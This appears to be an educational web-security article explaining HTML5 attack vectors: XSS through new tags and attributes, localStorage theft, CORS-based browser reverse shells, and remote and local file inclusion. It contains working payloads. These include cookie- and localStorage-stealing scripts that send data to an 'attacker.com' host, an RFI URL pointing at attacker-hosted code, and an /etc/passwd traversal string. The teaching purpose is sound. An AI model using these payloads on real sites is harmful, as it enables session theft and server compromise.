Demystifying HTML 5 Attacks

Let's Try

Demystifying HTML 5 Attacks

An attack vector is a path or means by which a hacker can get access to a website. HTML5 is rapidly emerging as the standard for rich Web applications—an alternative to proprietary applications like Silverlight and Flash. Unfortunately, it throws up security challenges in the form of attack vectors, which this article demystifies to a great extent.

HTML5 is redefining the future of Web applications by providing a rich set of new features along with extending the existing features and APIs of HTML4. HTML, the heart of the Web, has brought about significant advances with HTML5 by providing support for the latest multimedia and server communication. All the latest versions of browsers have support for HTML5.

HTML5 brings a whole slew of new features to Web browsers, some of which can be a threat to security and privacy. The new features include tags like <button>, <video>, <footer>, <audio> etc, and new attributes for tags such as autocomplete and autofocus. It also includes some additional features like local storage, cross origin resource sharing, etc. Even though all these features are an added benefit for Web developers, each of them can also be easily exploited.

Client-side or local storage: A secure feature?

Local storage is one of the prime features of HTML5. The main advantage is that you can make the HTML applications run while you are not connected to the network and possibly sync the data when you go online again. This improves the flexibility of the app. It's also a performance booster as you can show large amounts of data as soon as the user clicks on to your site, instead of waiting for it to download again. In other words, local storage has many advantages that help you to simplify tasks and also improve the performance. With a single line of code, you can add and retrieve information from local storage as follows:

localStorage.setItem(key, value); localStorage.getItem(key);

But from the security perspective, is local storage a good idea? Well, the answer is ‘no’. Let's look into the problems of local storage.

Cross site scripting (XSS): The deadliest evil!

Cross site scripting vulnerabilities date back to 1996—the early days of the World Wide Web. Over time, these types of attacks have evolved so much that they are one of the most critical vulnerabilities on the Internet today. It is estimated that seven out of ten Web applications developed are vulnerable to XSS attacks! XSS results in a type of injection problem, which happens mainly when data is included in dynamic content that is sent to a Web user without being validated for malicious script. The malicious content often takes the form of JavaScript but can also include HTML, Flash or any other type of code that the browser can execute. Let’s look at an example.

Let us assume that the site http://victim.com/ is vulnerable to XSS. How will we check it? The basic method is by trying to inject a JavaScript pop-up alert string along with the URL:

http://victim.com/“><SCRIPT>alert('XSS%20Testing')</SCRIPT>

If the commands inside the URL go unsanitised, this will trigger a pop-up alert. See Figure 1.

At this point, an attacker may continue to modify this URL to include more sophisticated XSS payloads to exploit users. Let us try a more advanced payload that can steal the user's cookie:

http://victim.com/"><SCRIPT>var+img=new+Image();img. src="http://attacker/"%20+%20document.cookie; </SCRIPT>

The JavaScript payload above creates an image DOM object (var image=new image). Since the JavaScript code executed above is within the http://victim.com/ context, the attacker has access to cookie data. The image object is then assigned to another domain, namely, http:// attacker.com/ appended with the Web browser cookie string where the data is sent. Now the attacker can send the framed exploit code to victims via different methods like emails, IM, etc. If the user happens to click on the link, the cookie information will be immediately copied and sent to the attacker. The chances that users will click on the link are very high because the exploit URL contains the real domain name or, rather, a lookalike of the domain name.

Another method of testing for XSS is to inject malicious code into the search box provided in the victim's website. If you inject the above XSS testing query in the search box, the URL looks somewhat like this:

http://victim.com/search.php?q=“><SCRIPT>alert('XSS%20 Testing')</SCRIPT> Figure 1: Testing for XSS

If vulnerable, this can also trigger a pop-up box in the website.

XSS attack vectors in HTML5

HTML5 introduces several new tags and attributes like the ones we saw in the earlier part of this article. Each one of those attributes can be used to inject malicious code:

<video onerror=“Javascript:alert(1)”><source> <audio onerror=“Javascript:alert(1)”><source>

In the above case, filtering the < and > tags can easily prevent tag injection but that doesn't mean the site is not vulnerable to XSS. Let’s assume that we have a search box here in which < and > tags are filtered. The attacker can very easily inject something like onload=javascript:alert(“XSS”), which can be included in the search query. Some good blacklisting filters will filter attributes like onload also. But HTML5 has a number of new attributes that don't exist in outdated filters:

<form id=demo onforminput=alert(1)>....</form> <input type=text onunload=alert(1)> <form id=demo2 /><button form=demo2 formaction=javascript: alert(1)>Button Text</button>

Finally, one of the other ways of attack is through injection within the input tag. HTML5 has introduced ways to create self-triggering XSS such as:

<input type=”text” value=”Malicious code” onfocus=”alert(1)” autofocus>

As mentioned earlier, client side storage (local storage) raises issues of security and privacy. Let us see why this is so. XSS can be a lethal attack vector for local storage. All the information that is stored in the local storage can

be accessed with the help of JavaScript. So what if a Web application is found vulnerable to XSS? The attacker can very easily implement an exploit JavaScript code to steal the user cookie and all other information stored in the local storage. We have already implemented an exploit code above that can steal the cookie from victims without their knowledge. The same can be implemented in HTML5 with a little modification.

http://victim.com/<script>document.write("<imgsrc='http:// attacker.com?cookie="+localStorage.getItem('phrase')+"'>");</ script>

This modified payload can very easily get the details of the cookie from victims without their knowledge. So stored user credentials or cookie information in local storage can be very easily stolen if the Web developers are not careful with their application.

Cross origin resource sharing: obtaining the reverse shell

HTML5 has another feature called cross origin requests, which allows browsers to make Ajax calls from one domain to another, and read the response as long as the other allows it. This feature can be advanced to cross domain http traffic, which can be used to set up a browser equivalent of the reverse shell. Now let us see how this attack works.

This attack also makes use of XSS vulnerabilities. Attackers first target a site that is vulnerable to XSS and inject malicious code into it. When a legitimate user visits the vulnerable site and happens to click on the malicious code that the attackers have injected, the payload makes a cross domain call to the attackers’ website, which responds with the ‘access control allow origin’ header. This creates a two-way communications channel from the vulnerable site to the attacker site. In other words, you could say that the attackers get a reverse shell, and can now access the vulnerable site via the victim's browser by sending commands over the Internet. There are tools available in the market that can simplify the tasks, like Shell of the future, which is a reverse Web shell handler for XSS exploitation.

Remote code execution

While developing HTML5, the developers made a significant difference in XMLhttprequest( ), which created a potential flaw in the sites that use formatting such as:

http://www.victim.com/#index.php http://www.victim.com/index.php?page=example.php

In this type of formatting, the site code will parse out the page to load index.php, and then use XMLhttprequest( ) to grab the file example.php from its Web server before directly adding the code of that page to the current page. If the developer is not careful enough while designing this, the XMLhttprequest( ) can be exploited to fetch pages from any site and not only the current victim Web server. This can lead to an attacker including a remote code into the XMLhttprequest( ), which it will try to fetch and execute:

http://www.victim.com/index.php?page=http://attacker.com/ maliciouscode.php

This can even lead to the attacker getting a root shell on the Web server, which can be used for further attacks. Consider a situation in which the developers were careful in designing the website and so made sure the XMLhttprequest( ) request fetches files only from their current Web server and not from any other server. Does that mean they are secure? The answer is ‘no’. The attacker can still make further URL modifications to list the files inside the Web server that contains credential information:

http://www.victim.com/index.php?page=../../../../../../etc/ passwd

If that URL goes unsanitised, this will lead to the listing of all the contents inside the /etc/passwd file where the username-password hashes are stored in a Linux-based machine. This type of attack that leads to the unauthorised access of credential files in the local Web server is called a local file inclusion attack.

Even though HTML5 was supposed to simplify the task of Web developers and to quickly implement applications that are dynamic and flexible, it is certain that little importance was given to security. The introduction of new features not only added to the flexibility but has also raised issues of security and privacy. Most of the new features implemented can be used illegally to inject malicious code and to access unauthorised content. Defence mechanisms including filtering user inputs, blacklisting unnecessary tags in the input field, sanitising search queries before showing of the result, etc, will help in preventing some common attacks, but attacks like XSS and remote code execution are very difficult to prevent.

References

[1] https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) [2] https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet [3] http://html5sec.org/ [4] http://blog.andlabs.org/2010/07/shell-of-future-reverse-web-shell.html

By: Anirudh Anand

The author is a second year Computer Science student from Amrita University, whose core interest lies in Web application security and penetration testing. He is a passionate blogger and an OWASP contributor. You can follow him on www.securethelock. com or mail him at anirudhanand@securethelock.com.